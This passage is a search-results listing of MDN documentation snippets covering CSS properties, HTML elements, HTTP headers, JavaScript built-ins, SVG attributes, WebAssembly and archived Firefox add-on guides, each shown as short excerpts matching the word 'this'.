this would be to render an image in an html <canvas> element, then use that as a background.
... a somewhat realistic example
this example uses a hidden <div> as a background.
...And 5 more matches
font-variant-caps - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... when a given font includes capital letter glyphs of multiple different sizes,
this property selects the most appropriate ones.
... language-specific rules
this property accounts for language-specific case mapping rules.
...And 5 more matches
justify-content - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this only applies to flex layout items.
... for items that are not children of a flex container,
this value is treated like start.
...And 5 more matches
<length> - CSS: Cascading Style Sheets
depending on the unit,
this can be the size of a specific character, the line height, or the size of the viewport.
...on fonts with the "x" letter,
this is generally the height of lowercase letters in the font; 1ex ≈ 0.5em in many fonts.
...when used within the root element font-size, it represents its initial value (a common browser default is 16px, but user-defined preferences may modify
this).
...And 5 more matches
line-height - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... syntax /* keyword value */ line-height: normal; /* unitless values: use
this number multiplied by the element's font size */ line-height: 3.5; /* <length> values */ line-height: 3em; /* <percentage> values */ line-height: 34%; /* global values */ line-height: inherit; line-height: initial; line-height: unset; the line-height property is specified as any one of the following: a <number> a <length> a <percentage> the keyword normal.
... <number> (unitless) the used value is
this unitless <number> multiplied by the element's own font size.
...And 5 more matches
place-content - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: align-content justify-content syntax /* positional alignment */ /* align-content does not take left and right values */ place-content: center start; place-content: start center; place-content: end left; place-content: flex-start center; place-content: flex-end center; /* baseline alignment */ /* justify-content does not take baseline values */ place-content: baseline center; place-content: first baseline space-evenly; place-content: last baseline right; /* distributed alignment */ place-content: space-between space-evenly; place-content: space-around...
...
this only applies to flex layout items.
...And 5 more matches
pointer-events - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...in svg content,
this value and the value visiblepainted have the same effect.
...in these circumstances, pointer events will trigger event listeners on
this parent element as appropriate on their way to/from the descendant during the event capture/bubble phases.
...And 5 more matches
quotes - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...that's the question!</q> css q { quotes: '"' '"' "'" "'"; } q::before { content: open-quote; } q::after { content: close-quote; } result auto quotes for most browsers, the default value of quotes is auto (firefox 70+), or the browser otherwise had
this default behavior (chromiums, safari, edge), so
this example works without it being explicitly being set.
... html <div lang="fr"> <q>ceci est une citation française.</q> <div> <hr> <div lang="ru"> <q>Это русская цитата</q> <div> <hr> <div lang="de"> <q>dies ist ein deutsches zitat</q> <div> <hr> <div lang="en"> <q>
this is an english quote.</q> <div> css /*q { quotes: auto; }*/ result specifications specification status comment css generated content module level 3the definition of 'quotes' in that specification.
...And 5 more matches
text-overflow - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... values clip the default for
this property.
...
this keyword value will truncate the text at the limit of the content area, therefore the truncation can happen in the middle of a character.
...And 5 more matches
will-change - CSS: Cascading Style Sheets
/* keyword values */ will-change: auto; will-change: scroll-position; will-change: contents; will-change: transform; /* example of <custom-ident> */ will-change: opacity; /* example of <custom-ident> */ will-change: left, top; /* example of two <animateable-feature> */ /* global values */ will-change: inherit; will-change: initial; will-change: unset; proper usage of
this property can be a bit tricky: don't apply will-change to too many elements.
...some of the stronger optimizations that are likely to be tied to will-change end up using a lot of a machine’s resources, and when overused like
this can cause the page to slow down or consume a lot of resources.
...
this will lead to worse performance.
...And 5 more matches
Rich-Text Editing in Mozilla - Developer guides
note:
this document is out-of-date; you are advised to consult the more up-to-date document available at making content editable.
...once designmode is turned off however (as
this now seems possible in mozilla 1.5) the events become active again.
...they are not available at
this time.
...And 5 more matches
Developer guides
this article is intended as a starting point for exploring the various delivery mechanisms of web-based media and compatibility with popular browsers.
...
this article provides a reference to explain what you need to do.
...
this makes the application faster and more responsive to user actions.
...And 5 more matches
<acronym> - HTML: Hypertext Markup Language
usage note:
this element has been removed in html5 and shouldn't be used anymore.
... attributes
this element only has global attributes, which are common to all elements.
... dom interface
this element implements the htmlelement interface.
...And 5 more matches
<big>: The Bigger Text element - HTML: Hypertext Markup Language
usage note: as it was purely presentational,
this element has been removed in html5 and shouldn't be used anymore.
... attributes
this element has no other attributes than the global attributes, common to all elements.
... using <big>
this example uses the obsolete <big> element to increase the size of some text.
...And 5 more matches
<keygen> - HTML: Hypertext Markup Language
this mechanism is designed for use with web-based certificate management systems.
... permitted aria roles none dom interface htmlkeygenelement attributes
this element includes the global attributes.
... autofocus
this boolean attribute lets you specify that the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control.
...And 5 more matches
<li> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role listitem when child of an ol, ul or menu permitted aria roles menuitem, menuitemcheckbox, menuitemradio, option, none, presentation, radio, separator, tab, treeitem dom interface htmllielement attributes
this element includes the global attributes.
... value
this integer attribute indicates the current ordinal value of the list item as defined by the <ol> element.
...And 5 more matches
<menuitem> - HTML: Hypertext Markup Language
this includes context menus, as well as menus that might be attached to a menu button.
...(if specified, the type attribute of the <menu> element must be popup; if missing, the parent element of the <menu> must itself be a <menu> in the popup menu state.) permitted aria roles none dom interface htmlmenuitemelement attributes
this element includes the global attributes; in particular title can be used to describe the command, or provide usage hints.
... default
this boolean attribute indicates use of the same command as the menu's subject element (such as a button or input).
...And 5 more matches
<samp>: The Sample Output element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
... the css to override the default font face would look like
this: samp { font-family: "courier"; } if you need an element which will serve as a container for output generated by your website or app's javascript code, you should instead use the <output> element.
...And 5 more matches
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role button permitted aria roles no role permitted dom interface htmlelement attributes
this element only includes the global attributes.
...when the user clicks on the summary, the parent <details> element is toggled open or closed, and then a toggle event is sent to the <details> element, which can be used to let you know when
this state change occurs.
...And 5 more matches
Cache-Control - HTTP
this directive is not effective in preventing caches from storing your response.
...
this directive is not effective in preventing caches from storing your response.
...although other directives may be set,
this alone is the only directive you need in preventing cached responses on modern browsers.
...And 5 more matches
CSP: object-src - HTTP
therefore it is recommended to restrict
this fetch-directive (e.g.
...if
this directive is absent, the user agent will look for the default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
...And 5 more matches
CSP: script-src - HTTP
this includes not only urls loaded directly into <script> elements, but also things like inline script event handlers (onclick) and xslt stylesheets which can trigger script execution.
...if
this directive is absent, the user agent will look for the default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
...And 5 more matches
Content-Security-Policy-Report-Only - HTTP
for more information, see also
this article on content security policy (csp).
... header type response header forbidden header name no
this header is not supported inside a <meta> element.
... the csp report-uri directive should be used with
this header, otherwise
this header will be an expensive no-op machine.
...And 5 more matches
A typical HTTP session - HTTP
as of http/1.1, the connection is no longer closed after completing the third phase, and the client is now granted a further request:
this means the second and third phases can now be performed any number of times.
...opening a connection in http means initiating a connection in the underlying transport layer, usually
this is tcp.
...to work around
this problem, web developers use several techniques: ping the server periodically via the xmlhttprequest, fetch apis, using the websockets api, or similar protocols.
...And 5 more matches
The arguments object - JavaScript
the source for
this interactive example is stored in a github repository.
...
this technique is useful for functions that can be passed a variable number of arguments, such as math.min().
...
this example function accepts any number of string arguments and returns the longest one: function longeststring() { var longest = ''; for (var i=0; i < arguments.length; i++) { if (arguments[i].length > longest.length) { longest = arguments[i]; } } return longest; } you can use arguments.length to count how many arguments the function was called with.
...And 5 more matches
Array.prototype.push() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this method can be used with call() or apply() on objects resembling arrays.
...
this includes the possibility of length being nonexistent, in which case length will also be created.
...And 5 more matches
BigInt64Array - JavaScript
in the case of the bigint64array type,
this is "bigint64array".
...
this is fixed at construction time and thus read only.
...
this is fixed at construction time and thus read only.
...And 5 more matches
BigUint64Array - JavaScript
in the case of the biguint64array type
this is "biguint64array".
...
this is fixed at construction time and thus read only.
...
this is fixed at construction time and thus read only.
...And 5 more matches
Intl.NumberFormat.prototype.resolvedOptions() - JavaScript
the intl.numberformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and number formatting options computed during initialization of
this numberformat object.
... the source for
this interactive example is stored in a github repository.
...if any unicode extension values were requested in the input bcp 47 language tag that led to
this locale, the key-value pairs that were requested and are supported for
this locale are included in locale.
...And 5 more matches
Object.prototype.__proto__ - JavaScript
for objects created using an object literal,
this value is object.prototype.
... for objects created using array literals,
this value is array.prototype.
... for functions,
this value is function.prototype.
...And 5 more matches
Object.prototype.toString() - JavaScript
the source for
this interactive example is stored in a github repository.
...if
this method is not overridden in a custom object, tostring() returns "[object type]", where type is the object type.
... the following code illustrates
this: const o = new object(); o.tostring(); // returns [object object] note: starting in javascript 1.8.5, tostring() called on null returns [object null], and undefined returns [object undefined], as defined in the 5th edition of ecmascript and subsequent errata.
...And 5 more matches
Set - JavaScript
in an earlier version of ecmascript specification,
this was not based on the same algorithm as the one used in the === operator.
...however,
this was changed in the ecmascript 2015 specification.
...(for sets,
this is the same as the values() method.) set.prototype.values() returns a new iterator object that yields the values for each element in the set object in insertion order.
...And 5 more matches
String.prototype.replaceAll() - JavaScript
the source for
this interactive example is stored in a github repository.
...the arguments supplied to
this function are described in the "specifying a function as a parameter" section below.
... description
this method does not change the calling string object.
...And 5 more matches
TypedArray.prototype.every() - JavaScript
this method has the same algorithm as array.prototype.every().
... the source for
this interactive example is stored in a github repository.
... syntax typedarray.every(callback[,
thisarg]) parameters callback function to test for each element, taking three arguments: currentvalue the current element being processed in the typed array.
...And 5 more matches
TypedArray.prototype.map() - JavaScript
the map() method creates a new typed array with the results of calling a provided function on every element in
this typed array.
...
this method has the same algorithm as array.prototype.map().
... the source for
this interactive example is stored in a github repository.
...And 5 more matches
TypedArray.prototype.some() - JavaScript
this method has the same algorithm as array.prototype.some().
... the source for
this interactive example is stored in a github repository.
... syntax typedarray.some(callback[,
thisarg]) parameters callback function to test for each element, taking three arguments: currentvalue the current element being processed in the typed array.
...And 5 more matches
TypedArray - JavaScript
the source for
this interactive example is stored in a github repository.
...
this constructor is not directly exposed: there is no global %typedarray% or typedarray property.
...int8array), an array buffer is created internally in memory or, if an arraybuffer object is given as constructor argument, then
this is used instead.
...And 5 more matches
new operator - JavaScript
description the new keyword does the following things: creates a blank, plain javascript object; links (sets the constructor of)
this object to another object; passes the newly created object from step 1 as the
this context; returns
this if the function doesn't return an object.
... the constructor function foo is called with the specified arguments, and with
this bound to the newly created object.
...however,
this does not affect any other objects.
...And 5 more matches
const - JavaScript
the source for
this interactive example is stored in a github repository.
...
this can be any legal expression, including a function expression.
... description
this declaration creates a constant whose scope can be either global or local to the block in which it is declared.
...And 5 more matches
for - JavaScript
the source for
this interactive example is stored in a github repository.
...
this expression may optionally declare new variables with var or let keywords.
... the result of
this expression is discarded.
...And 5 more matches
let - JavaScript
the source for
this interactive example is stored in a github repository.
...in
this way, let works very much like var.
...for example: var x = 'global'; let y = 'global'; console.log(
this.x); // "global" console.log(
this.y); // undefined emulating private members in dealing with constructors it is possible to use the let bindings to share one or more private members without using closures: var thing; { let privatescope = new weakmap(); let counter = 0; thing = function() {
this.someproperty = 'foo'; privatescope.set(
this, { hidden: ++counter, }); }...
...And 5 more matches
Using dns-prefetch - Web Performance
this could be a file loaded later or link target a user tries to follow.
...
this process is known as dns resolution.
... while dns caching can help to reduce
this latency, dns resolution can add significant latency to requests.
...And 5 more matches
begin - SVG: Scalable Vector Graphics
six elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <discard>, and <set> animate, animatecolor, animatemotion, animatetransform, set for <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>, begin defines when the element should begin, i.e.
...each value can be one of the following: <offset-value>
this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded event).
... <syncbase-value>
this value defines a syncbase and an optional offset from that syncbase.
...And 5 more matches
end - SVG: Scalable Vector Graphics
five elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> usage notes default value none value <end-value-list> animatable no the <end-value-list> is a semicolon-separated list of values.
... each value can be one of the following: <offset-value>
this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded event).
... <syncbase-value>
this value defines a syncbase and an optional offset from that syncbase.
...And 5 more matches
height - SVG: Scalable Vector Graphics
twenty five elements are using
this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- with a height of 0 or less, nothing will be rendered --> <rect y="0" x="0" width="90" height="0"/> <rect y="0" x="100" width="90" height="60"/> <rect y="0" x="200" width="90" height="100%"/> </svg> ...
... value auto | <length> | <percentage> default value auto (treated as 0) animatable yes note: starting with svg2, height is a geometry property meaning
this attribute can also be used as a css property for <foreignobject>.
... value auto | <length> | <percentage> default value auto (treated as the intrinsic height of the image) animatable yes note: starting with svg2, height is a geometry property meaning
this attribute can also be used as a css property for images.
...And 5 more matches
rendering-intent - SVG: Scalable Vector Graphics
only one element is using
this attribute: <color-profile> usage notes value auto | perceptual | relative-colorimetric | saturation | absolute-colorimetric default value auto animatable yes auto
this value allows the user agent to determine the best intent based on the content type.
... perceptual
this value preserves the relationship between colors.
... note:
this method should be used for images.
...And 5 more matches
vector-effect - SVG: Scalable Vector Graphics
t can be applied to any element but it has effect only on the following ten elements: <circle>, <ellipse>, <foreignobject>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath> <tspan>, and <use> usage notes value none | non-scaling-stroke | non-scaling-size | non-rotation | fixed-position default value none animatable yes none
this value specifies that no vector effect shall be applied, i.e.
... non-scaling-stroke
this value modifies the way an object is stroked.
...the resulting visual effect of
this value is that the stroke width is not dependant on the transformations of the element (including non-uniform scaling and shear transformations) and zoom level.
...And 5 more matches
width - SVG: Scalable Vector Graphics
twenty five elements are using
this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <!-- with a width of 0 or less, nothing will be rendered --> <rect x="0" y="0" width="0" height="90"/> <rect x="0" y="100" width="60" height="90"/> <rect x="0" y="200" width="100%" height="90"/> </svg> ...
... value auto | <length> | <percentage> default value auto (treated as 0) animatable yes note: starting with svg2, width is a geometry property meaning
this attribute can also be used as a css property for <foreignobject>.
... value auto | <length> | <percentage> default value auto (treated as the intrinsic width of the image) animatable yes note: starting with svg2, width is a geometry property meaning
this attribute can also be used as a css property for images.
...And 5 more matches
x - SVG: Scalable Vector Graphics
thirty seven elements are using
this attribute: <altglyph>, <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <rect x="20" y="20" width="60" height="60" /> <rect x="120" y="20" width="60" height="...
... value <length> | <percentage> default value 0 animatable yes note: starting with svg2, x is a geometry property meaning
this attribute can also be used as a css property for <foreignobject>.
... value <length> | <percentage> default value 0 animatable yes note: starting with svg2, x is a geometry property meaning
this attribute can also be used as a css property for images.
...And 5 more matches
xlink:show - SVG: Scalable Vector Graphics
only one element is using
this attribute: <a> usage notes value new | replace | embed | other | none default value replace animatable no new
this value specifies that the referenced resource is opened in a new window or tab.
...
this is similar to the effect achieved by an html <a> element with target set to _blank.
... replace
this value specifies that the referenced resource is opened in the same window or tab.
...And 5 more matches
y - SVG: Scalable Vector Graphics
thirty seven elements are using
this attribute: <altglyph>, <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <rect y="20" x="20" width="60" height="60" /> <rect y="120" x="20" width="60" height="...
... value <length> | <percentage> default value 0 animatable yes note: starting with svg2, y is a geometry property meaning
this attribute can also be used as a css property for <foreignobject>.
... value <length> | <percentage> default value 0 animatable yes note: starting with svg2, y is a geometry property meaning
this attribute can also be used as a css property for images.
...And 5 more matches
<marker> - SVG: Scalable Vector Graphics
h a arrowhead in both direction --> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <!-- data line with polymarkers --> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dot)" marker-mid="url(#dot)" marker-end="url(#dot)" /> </svg> attributes markerheight
this attribute defines the height of the marker viewport.
... value type: <length> ; default value: 3; animatable: yes markerunits
this attribute defines the coordinate system for the attributes markerwidth, markerheight and the contents of the <marker>.
... value type: userspaceonuse|strokewidth ; default value: strokewidth; animatable: yes markerwidth
this attribute defines the width of the marker viewport.
...And 5 more matches
<symbol> - SVG: Scalable Vector Graphics
="pink" /> <!-- all instances of our symbol --> <use xlink:href="#mydot" x="5" y="5" style="opacity:1.0" /> <use xlink:href="#mydot" x="20" y="5" style="opacity:0.8" /> <use xlink:href="#mydot" x="35" y="5" style="opacity:0.6" /> <use xlink:href="#mydot" x="50" y="5" style="opacity:0.4" /> <use xlink:href="#mydot" x="65" y="5" style="opacity:0.2" /> </svg> attributes height
this attribute determines the height of the symbol.
... value type: <length>|<percentage> ; default value: auto; animatable: yes preserveaspectratio
this attribute defines how the svg fragment must be deformed if it is embedded in a container with a different aspect ratio.
...; default value: xmidymid meet; animatable: yes refx
this attribute determines the x coordinate of the reference point of the symbol.
...And 5 more matches
Gradients in SVG - SVG: Scalable Vector Graphics
this can be assigned directly or through css.
... the two methods have been intermixed for the purposes of
this example.
... for instance,
this one tells the gradient to start at the color red, change to transparent-black in the middle, and end at the color blue.
...And 5 more matches
Securing your site - Web security
this article offers an assortment of suggestions, as well as links to other articles providing more useful information.
... note:
this article is a work in progress, and is neither complete nor does following its suggestions guarantee your site will be fully secure.
...for certain types of data, you may wish to disable
this feature.
...And 5 more matches
<xsl:template> - XSLT: Extensible Stylesheet Language Transformations
this element must have either the match attribute or the name attribute set.
... optional attributes match specifies a pattern that determines the elements for which
this template should be used.
... name specifies a name for
this template, by which it can be invoked through the <xsl:call-template> element.
...And 5 more matches
Caching compiled WebAssembly modules - WebAssembly
warning: experimental webassembly.module indexeddb serialization support is being removed from browsers; see bug 1469395 and
this spec issue.
...
this article explains the best practices around
this.
...
this includes compiled wasm modules (webassembly.module javascript objects).
...And 5 more matches
WebAssembly Concepts - WebAssembly
this article explains the concepts behind how webassembly works including its goals, the problems it solves, and how it runs inside the web browser's rendering engine.
...
this has huge implications for the web platform — it provides a way to run code written in multiple languages on the web at near-native speed, with client apps running on the web that previously couldn’t have done so.
...
this has worked well for us as javascript is powerful enough to solve most problems people have on the web today.
...And 5 more matches
Index - WebAssembly
this article explains the best practices around
this.
...
this tutorial takes you through all you need to know to compile a rust project to wasm and use it in an existing web app.
...
this article explains a little bit about how it works, and how to use available tools to covert text format files to the .wasm assembly format.
...And 5 more matches
2015 MDN Fellowship Program - Archive of obsolete content
this page is a historical archive, originally hosted at /fellowship, and was localized.
...we expect
this to be between 5-10 hours of your time per week.
...to support our efforts, the fellow will review various technical specifications to identify gaps between the documentation and current situation and refine existing tests to adapt to
this cross-browser test harness.
...And 4 more matches
Testing the Add-on SDK - Archive of obsolete content
this includes: cfx testcfx: a suite of python tests which test cfx itself (which is written in python).
...
this suite basically tests cfx xpi's ability to produce the xpi files that we expect it to.
...
this suite builds the example code, then runs these example add-on's test code.
...And 4 more matches
l10n - Archive of obsolete content
usage to learn how to use
this module to write localizable code, read the localization tutorial.
... globals functions get(identifier, count, placeholder1...n)
this function takes a string parameter which it uses as an identifier to look up and return a localized string in the locale currently set for firefox.
...for compatibility with tools that expect
this syntax, you can assign
this function to "_": var _ = require("sdk/l10n").get; given a .properties file for the current locale containing an entry like: hello_string= hello!
...And 4 more matches
content/symbiont - Archive of obsolete content
this trait is composed from the loader and worker traits.
...
this._frame = getmyframe();
this._init(options) } }); see the panel module for a real-world example of usage of
this module.
...
this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been lo...
...And 4 more matches
Developing for Firefox Mobile - Archive of obsolete content
to follow
this tutorial you'll need to have learned the basics of jpm.
...with the add-on sdk you can develop add-ons that run on
this new version of firefox mobile as well as on the desktop version of firefox.
...the tables at the end of
this guide list the modules that are currently supported on firefox mobile.
...And 4 more matches
Using third-party modules (jpm) - Archive of obsolete content
this article describes how you can use third-party modules with jpm.
... to follow
this tutorial you'll need to have installed jpm and learned the basic jpm commands.
...
this article explains how to use npm-hosted third-party sdk modules with jpm.
...And 4 more matches
Customizing the download progress bar - Archive of obsolete content
this example illustrates how to customize the progress bar displayed for a given download in the downloads window.
...
this is required since it contains platform-specific directives, as we will see.
... the myextension.css file will look something like
this: richlistitem progressmeter { %ifdef xp_win min-height: 17px !important; %else %ifdef xp_macosx -moz-appearance: none !important; background-image: url(chrome://myextension/skin/progress_bg_osx.png) !important; %endif %endif } richlistitem .progress-bar { %ifdef xp_win -moz-appearance: none !important; background-image: url(chrome://myextension/skin/progress_fd_win.png) !important; %else %ifdef xp_macosx background-image: url(chrome://myextension/skin/progress_fd_osx.gif) !important; %endif %endif } note:
this file only supports windows and mac, but it would be straightforward to add support for linux.
...And 4 more matches
Rosetta - Archive of obsolete content
beyond ecmascript
this is not the place for showing a full compiler written in ecmascript.
...it relies on the fact that unrecognized mime types will be simply ignored:
this allows us to manually parse them.
... for a fast overview on the code proposed here you can git clone https://github.com/madmurphy/rosetta.js, or, at your choice, directly download
this .zip file.
...And 4 more matches
Extension Packaging - Archive of obsolete content
since most http servers are not configured to return
this mime type for the .xpi extension by default, you will probably need to configure your http server.
... in the apache http server,
this can be done by adding the following directive to the configuration file or .htaccess: addtype application/x-xpinstall .xpi install extension files directly if you know the location of the application (if you are installing an extension as part of the application installer, for example), you can install the extension files directly to <appdir>/extensions/<extensionid>.
... when using
this method you must verify that the file system permissions for the directories, and files for the extension, are set properly.
...And 4 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
to trigger the alert() in the listener and pass the data from the web page, write code such as
this in the web page: var element = document.createelement("myextensiondataelement"); element.setattribute("attribute1", "foobar"); element.setattribute("attribute2", "hello world"); document.documentelement.appendchild(element); var evt = document.createevent("events"); evt.initevent("myextensionevent", true, false); element.dispatchevent(evt);
this code creates an arbitrary element -- <myextensi...
... document.addeventlistener("message", function(e) { yourfunction(e); }, false, true); sending data from chrome to unprivileged document to "answer" the web page (e.g., return code), your extension can set an attribute or attach child elements on the event target element (<myextensiondataelement/> in
this example).
...
this can be done using the same principle as the above example.
...And 4 more matches
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
this document is a guide to common code patterns that may need to change to work with frozen linkage.
...- #include "nsastring.h"- #include "nsstring.h"- #include "nsreadableutils.h"- #include "nsescape.h" + #include "nsstringapi.h" on windows, if you see the following error, you are including a header you shouldn't be: nsstringfwd.h(60) : fatal error c1001: internal compiler error to debug
this error, make in the failing directory, adding the /showincludes directive to figure out what is being included incorrectly: make -c directory/that/failed os_cppflags=-showincludes the frozen string api is similar but not identical to the nonfrozen string api.
...
this means that the + operator is not implemented, nor are the promiseflatstring functions or classes around any more.
...And 4 more matches
Supporting search suggestions in search plugins - Archive of obsolete content
(
this means that a suggestion-supporting engine plugin will have two <url> elements, the other one being the main text/html search url.) for example, the yahoo search plugin has
this <url> entry: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}"/> if the user types "fir" into the search bar, then pauses, firefox inserts "fir"...
...
this allows firefox to verify that the suggestions match the current search term.
...for example: ["term 1", "term 2", "term 3", "term 4"] descriptions
this optional element is an array of descriptions for each of the suggestions in thecompletion list .
...And 4 more matches
Firefox addons developer guide - Archive of obsolete content
there are a few things that could be done to make
this fit the site better, and for general cleaning up: tables should use the "standard-table" css class so they're styled the same as those on the rest of mdc.
...
this is available from the style drop-down menu in the editor.
... if you use the interface template when mentioning interfaces by name, mdc will automatically format them and generate links to their documentation, like
this: nsiconsoleservice.
...And 4 more matches
Source Navigator - Archive of obsolete content
note:
this document is still in the draft state.
...let me know if
this is wrong..) it can generate a class hierarchy quite easily (unfortunately, not for classnames which are defined by macro.) installing source navigator in ubuntu execute the following line in a terminal window: sudo apt-get install sourcenav
this should install source-navigator.
...
this triggers a splash screen, followed by a "source-navigator projects" dialog as the following: i've already created a new project bin.proj before documenting
this.
...And 4 more matches
Download Manager preferences - Archive of obsolete content
this article provides a list of them.
...the user may check a "don't ask" box on the ui to toggle
this.
...on windows xp sp2 and windows vista,
this value also indicates whether downloaded files trigger a security warning upon launch.
...And 4 more matches
Content states and the style system - Archive of obsolete content
this is an expensive operation, however, so the style system tries to minimize the number of style reresolves it does.
... to
this end, when a <code>contentstateschanged</code> notification is dispatched for a content node the first thing that's done is to is to check whether the content state change something could affect any styles.
...
this is done by walking the list of all css2.1 simple selectors in all style sheets applied to the page that have a state-dependent pseudo-class as part of the selector.
...And 4 more matches
Documentation for BiDi Mozilla - Archive of obsolete content
this is preliminary documentation of the changes introduced to mozilla as part of the bidi support contributed by ibm (a.k.a.
...
this is determined in nstextfragment::setto the page includes a element with the attribute dir=rtl, either explicitly (nsgenerichtmlelement::mapcommonattributesinto), or as a consequence of a style rule (mapdeclarationtextinto in nscssstylerule.cpp) all these cases use nsdocument::enablebidi to set the flag mbidienabled.
...
this method uses the uba to determine the directional properties of the text and reorder frames if necessary.
...And 4 more matches
popChallengeResponse - Archive of obsolete content
non-standard
this feature is non-standard and is not on a standards track.
... deprecated
this feature has been removed from the web standards.
...avoid using it and update existing code if possible; see the compatibility table at the bottom of
this page to guide your decision.
...And 4 more matches
Java in Firefox Extensions - Archive of obsolete content
note: the global java object has been removed in gecko 16.0, so
this page is out of date.
...liveconnect gives your extension's javascript code (linked from or contained in xul code) access to 2 objects: java and packages (note that per
this thread, although the new documentation for the liveconnect reimplementation states that these globals will be deprecated (in the context of applets), "firefox and the java plug-in will continue to support the global java/packages keywords, in particular in the context of firefox extensions.").
...if you wish to call java code from within javascript code that implements some xpcom components, at
this time, you need a different technique (refer to the complete java firefox extension).
...And 4 more matches
First Run - Archive of obsolete content
by default
this page contains some simple text explaining that they may now use the jetpack and how to uninstall it.
... you can replace
this text with a page tailored to your jetpack.
...
this page can be defined as either html or a remote url.
...And 4 more matches
Microsummary XML grammar reference - Archive of obsolete content
warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3)
this article provides detailed information about the xml grammar used to build microsummary generators, describing each element and their attributes.
...elect="id('download-count')"/> <text> fx downloads</text> </template> </transform> </template> <pages> <include>http://(www\.)?spreadfirefox\.com/(index\.php)?</include> </pages> </generator> namespace the namespace uri for microsummary generator xml documents is: http://www.mozilla.org/microsummaries/0.1 all elements in a microsummary generator document should be in
this namespace except the descendants of the <template> element, which should be in the xslt namespace: http://www.w3.org/1999/xsl/transform the <generator> element the <generator> element is the root tag for all microsummary generators, and should contain the remainder of the xml code describing the generator.
...generators installed from the web via nssidebar::addmicrosummarygenerator are identified by the remote url from which they were downloaded, and firefox ignores the value of
this attribute for them.
...And 4 more matches
Priority Content - Archive of obsolete content
update: i've removed documents from
this list that have been migrated into the wiki.
...if you would like to sign up to do the migration of any of these works, just "edit"
this page and add your name to the "migrators" list for the piece.
... if there is devedge content you think should be migrated that isn't currently on
this list, feel free to add it.
...And 4 more matches
Reading textual data - Archive of obsolete content
this article describes how to read textual data from streams, files and sockets.
...
this work was done in bug 295047.
...using utf-8 for
